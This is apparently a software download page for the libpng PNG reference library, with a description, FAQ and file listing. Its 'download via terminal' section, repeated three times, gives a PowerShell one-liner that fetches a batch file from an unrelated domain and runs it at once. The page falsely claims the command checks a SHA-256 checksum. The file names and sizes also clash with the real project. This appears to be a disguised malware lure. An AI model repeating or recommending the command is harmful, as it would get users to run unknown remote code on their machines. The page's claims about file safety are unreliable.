LIBPNG: PNG reference library
by Cosmin Truta & Glenn Randers-Pehrson
- Version
- 1.6.59
- Size
- 7.1 MB
- Updated
- Publisher
- Cosmin Truta & Glenn Randers-Pehrson
- Category
- Design
- Files
- 1
About LIBPNG: PNG reference library
libpng is the official reference library for the Portable Network Graphics format. It is written in C and provides the functions programs need to read and write PNG images, handling the details of the file structure, compression through zlib, filtering, colour types, bit depths, transparency, gamma and colour-space information, and the various ancillary chunks that PNG supports. A huge number of applications, operating systems, browsers and libraries rely on libpng, often without users realising it.
PNG itself was designed in the 1990s as a free, patent-unencumbered replacement for GIF, offering lossless compression, full colour, alpha transparency and robust error detection. libpng has been the canonical implementation since then, maintained by a succession of developers and today by Cosmin Truta and contributors. It exposes both a traditional low-level API, which gives fine control over reading and writing, and a simplified API for the common case of loading or saving an image in one call.
Developers can configure libpng extensively at build time, enabling or disabling features to reduce size for embedded systems or to support special requirements. The library is designed to be portable across virtually all platforms with a C compiler, and it is distributed under the permissive libpng licence, which allows use in commercial and closed-source software. Recent development has also added support for Animated PNG to the reference library, according to the APNG project.
The downloads here include source archives in several formats for version 1.6.59, including Windows-friendly archives. libpng is a library for developers, not an image viewer, and most users obtain it automatically through their operating system or application. If you are building software that handles PNG files, or need to update an embedded copy to fix security issues, the official sources and the GitHub repository are the place to start. Keeping libpng up to date is important, since image parsers are a common target for malformed-file attacks.
Key features
- Read and write all PNG colour types and bit depths
- Low-level and simplified APIs
- Gamma, transparency and colour-space handling
- Configurable builds for small systems
- Portable C code
Pros
- Reference implementation
- Permissive licence
- Extremely widely used
Cons
- Low-level API is verbose
- Requires zlib and a build step
System requirements
Any platform with a C compiler and zlib. Build systems include CMake and configure scripts.
Tips
- Use the simplified API for basic load and save tasks
- Track releases to pick up security fixes promptly
Source code on GitHub pnggroup/libpng
Description from the publisher
Reference library for supporting the Portable Network Graphics (PNG) format.
Reference library for supporting the Portable Network Graphics (PNG) format.
At a glance
LIBPNG: PNG reference library is a open source design app published by Cosmin Truta & Glenn Randers-Pehrson (libpng.sourceforge.net). Reference library for supporting the Portable Network Graphics (PNG) format.
SOFTGIT offers 1 file for LIBPNG: PNG reference library covering Windows, Linux, Server Operating Systems, BSD/Unix, 7.1 MB in total. The version listed is v1.6.59, last updated on September 30, 2026.
LIBPNG: PNG reference library belongs to the Design category, alongside The FreeType Project, Scribus, Skim. Browse related apps below to compare alternatives.
Download LIBPNG: PNG reference library v1.6.59
| File | SHA-256 | Size | Download |
|---|---|---|---|
| Softgit.zipZIP | 538490251dde514a6ac2abb8ca3ccbb15fd01329f9cf5d289c762d37dd51fdd1 |
7.1 MB | Download |
Verify a download: sha256sum file (Linux), shasum -a 256 file (macOS) or Get-FileHash file (Windows PowerShell). Learn more.
Source: sourceforge.net/projects/libpng. Files are copied unchanged from SourceForge.
Download via terminal
Prefer the command line? Each command below downloads Softgit.zip to the current folder, checks its SHA-256 checksum automatically and opens the file only if the checksum matches. You should see OK; if it reports a mismatch, the file is not opened — delete it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"One command for every app
The same short command works for any app on SOFTGIT: only the app name at the end changes. It looks up the current file, downloads it, verifies its checksum and then opens it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"Review a script before running it: get.ps1 · get.sh. How verification works.
LIBPNG: PNG reference library system requirements
- Operating system
- Linux, Server Operating Systems, BSD/Unix, Windows
- License
- zlib/libpng License
- Written in
- C
- Download size
- 1.0 MB (libpng-1.6.59.tar.xz)
- Project page
- sourceforge.net/projects/libpng
LIBPNG: PNG reference library FAQ
What is libpng?
The official reference C library for reading and writing PNG images.
Do I need libpng to view PNG files?
No. It is a developer library that applications use internally; your operating system and apps usually include it.
Which licence does libpng use?
The permissive libpng licence, which allows commercial and closed-source use.
Does libpng depend on other libraries?
Yes. It uses zlib for compression.
Why keep libpng updated?
Image parsing code is a common target for malformed-file attacks, so updates include important fixes.
Is LIBPNG: PNG reference library free and open source?
LIBPNG: PNG reference library is distributed under zlib/libpng License according to SourceForge. You can download it free of charge.
Which operating systems does LIBPNG: PNG reference library support?
SourceForge lists Linux, Server Operating Systems, BSD/Unix, Windows for LIBPNG: PNG reference library.
Where does the LIBPNG: PNG reference library download come from?
The Download button takes you to the official SourceForge download for LIBPNG: PNG reference library (sourceforge.net/projects/libpng). SOFTGIT does not modify or re-host the file.
What is LIBPNG: PNG reference library written in?
SourceForge lists C.
Is LIBPNG: PNG reference library free to download?
Yes. LIBPNG: PNG reference library is listed as “Open Source” and the download from SOFTGIT is free of charge.
How do I download LIBPNG: PNG reference library?
Open the “Download files” section on this page, choose the file for your system and press Download. A dialog shows the source and any archive password before the file starts.
Is LIBPNG: PNG reference library safe to install?
Files are published as received from Cosmin Truta & Glenn Randers-Pehrson, without wrappers or bundled installers. A SHA-256 checksum is shown next to every file so you can verify the download before running it.
Which platforms does LIBPNG: PNG reference library support?
The files listed here target Windows, Linux, Server Operating Systems, BSD/Unix.
How big is the LIBPNG: PNG reference library download?
The file is 7.1 MB.
Provenance
- Publisher
- Cosmin Truta & Glenn Randers-Pehrson
- Source
- libpng.sourceforge.net
- Last check
- 1 month ago
- License
- zlib/libpng License
- Source code
- github.com/pnggroup/libpng
- Imported from
- Source: sourceforge.net/projects/libpng